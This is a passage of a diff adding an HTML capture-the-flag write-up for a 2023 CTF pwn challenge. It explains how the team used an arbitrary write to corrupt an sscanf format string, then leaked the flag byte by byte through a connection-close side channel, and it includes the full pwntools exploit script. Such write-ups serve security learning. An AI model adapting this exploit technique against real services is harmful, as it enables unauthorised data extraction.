+<p><a href="https://man7.org/linux/man-pages/man2/dup2.2.html"><code>dup2</code></a> copies a file descriptor into another.
+<code>0</code> is stdin, <code>1</code> is stdout, <code>2</code> is stderr.</p>
+<p>Line by line:</p>
+<ul>
+<li>Copy stdout to file descriptor 0x39 (57).</li>
+<li>Open <code>/dev/null</code> in write mode.</li>
+<li>Copy <code>/dev/null</code> to stdin.</li>
+<li>Copy <code>/dev/null</code> to stdout.</li>
+<li>Copy <code>/dev/null</code> to stderr.</li>
+<li>...</li>
+<li>Set an alarm to 0x3c (60) seconds.</li>
+</ul>
+<p>So all usual way to talk about file descriptors are removed, and if we want to print to stdout we must print to 0x39.</p>
+<p>In this challenge we can write a prefix of the flag into any location, in particular it can be a prefix of size 1.</p>
+<p>We can write a prefix of the flag onto itself but shifted to the left, this way in the next iteration rather than writing the flag to some address, we will be writing the beginning of the string that starts at the flag address which is potentially a suffix of the flag.</p>
+<p>That means we can write any substring / character of the flag anywhere.</p>
+<p>... time passed</p>
+<p>One promising but unsuccessful idea was trying to jump to a different place in the code by writing some character of the flag. It turned out the expected solution was along this line, but we never made it work.</p>
+<p>We tried making the application crash / close / or even trying to exploit the alarm. I.e we needed to leak information from any mean possible.</p>
+<p>In this part, we didn't get any feedback from the server, i.e nothing was printed, the only feedback was either processing our input and do nothing, or closing if the input was invalid.</p>
+<p>Wait, that is some information... if the input was invalid it would close and we would get that information. How to use that to leak the flag.</p>
+<p>We need to make the input fail/succeed depending on parts of the flag.</p>
+<p>We had access to the pattern of <code>sscanf</code> that we can modify, and that is exactly what we did.</p>
+<p>We can overwrite the character <code>0</code> from the <code>sscanf</code> pattern with one character from the flag. Then we send a new input, with some character, and if the application doesn't exit, we guessed correctly that character.</p>
+<p>This way we can guess character one by one, on each step by iterating over all possible characters of the flag.
+The final script was actually quite slow, but did the job (partially). This is the script:</p>
+<pre><code class="language-python">import string
+from pwn import *
+import time
+
+flag_length = 40
+
+def is_nth_char(index, ch, heap_delta=0xa0):
+
+    context.log_level = 'error'
+
+    conn = remote('wfw2.2023.ctfcompetition.com', 1337)
+    lines = conn.recvlines(timeout=1)
+
+    # parse addresses
+    print(len(lines))
+
+    _rodata = lines[5]
+    _heap = lines[8]
+
+    _rodata_address = int(_rodata.decode().split('-')[0], 16)
+    _heap_address = int(_heap.decode().split('-')[0], 16)
+
+    # print('.rodata : ', hex(_rodata_address))
+    # print('.heap : ', hex(_heap_address))
+
+    flag_address = _heap_address + heap_delta
+
+    format_str_offset = 188
+    format_str_address = _rodata_address + format_str_offset
+
+    # flag = flag[index:]
+
+    # TODO uncomment
+    conn.send(f'{hex(flag_address - index)} {flag_length}\n'.encode())
+
+    # '0x%llx' -&gt; {flag[index]}'x%llx'
+    conn.send(f'{hex(format_str_address)} 1\n'.encode())
+
+    # # check conn is alive
+    # try:
+    #     conn.recv()
+    # except EOFError:
+    #     assert False
+
+    for i in range(5):
+        try:
+            conn.send(f'{ch}x123 1\n'.encode()) # test only is sscanf fails or not
+            sleep(0.2)
+        except EOFError:
+            return False
+
+    return True
+
+partial_flag = list('CTF{') + ['*'] * flag_length
+
+for i in range(4, flag_length):
+
+    if partial_flag[i] != '*':
+        assert is_nth_char(i, partial_flag[i])
+        continue
+
+    for ch in string.ascii_lowercase + string.ascii_uppercase + string.digits + '_':
+        if is_nth_char(i, ch):
+            print(&quot;Success:&quot;, i, ch)
+            partial_flag[i] = ch
+            break
+        else:
+            print(&quot;Failure:&quot;, i, ch)
+
+        print(&quot;Flag: &quot;, ''.join(partial_flag))
+
+    print(&quot;Flag: &quot;, ''.join(partial_flag))
+</code></pre>
+<p>The hardest / more fragile part of the script was trying to detect if the connection was over or not.</p>
+<p>This predicted all the flag but the last character, since it was not in the set of candidates we were trying. That was guessed manually.</p></div>
+            </div>
+        </div>
+
+        <footer class="col-md-12">
+            <hr>
+            <p>Documentation built with <a href="https://www.mkdocs.org/">MkDocs</a>.</p>
+        </footer>
+        <script>
+            var base_url = "..",
+                shortcuts = {"help": 191, "next": 78, "previous": 80, "search": 83};
+        </script>
+        <script src="../js/base.js" defer></script>
+        <script src="../search/main.js" defer></script>
+
+        <div class="modal" id="mkdocs_search_modal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
+    <div class="modal-dialog modal-lg">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="searchModalLabel">Search</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+                <p>From here you can search these documents. Enter your search terms below.</p>
+                <form>
+                    <div class="form-group">
+                        <input type="search" class="form-control" placeholder="Search..." id="mkdocs-search-query" title="Type search term here">
+                    </div>
+                </form>
+                <div id="mkdocs-search-results" data-no-results-text="No results found"></div>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div><div class="modal" id="mkdocs_keyboard_modal" tabindex="-1" role="dialog" aria-labelledby="keyboardModalLabel" aria-hidden="true">
+    <div class="modal-dialog">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="keyboardModalLabel">Keyboard Shortcuts</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+              <table class="table">
+                <thead>
+                  <tr>
+                    <th style="width: 20%;">Keys</th>
+                    <th>Action</th>
+                  </tr>
+                </thead>
+                <tbody>
+                  <tr>
+                    <td class="help shortcut"><kbd>?</kbd></td>
+                    <td>Open this help</td>
+                  </tr>
+                  <tr>
+                    <td class="next shortcut"><kbd>n</kbd></td>
+                    <td>Next page</td>
+                  </tr>
+                  <tr>
+                    <td class="prev shortcut"><kbd>p</kbd></td>
+                    <td>Previous page</td>
+                  </tr>
+                  <tr>
+                    <td class="search shortcut"><kbd>s</kbd></td>
+                    <td>Search</td>
+                  </tr>
+                </tbody>
+              </table>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div>
+
+    </body>
+</html>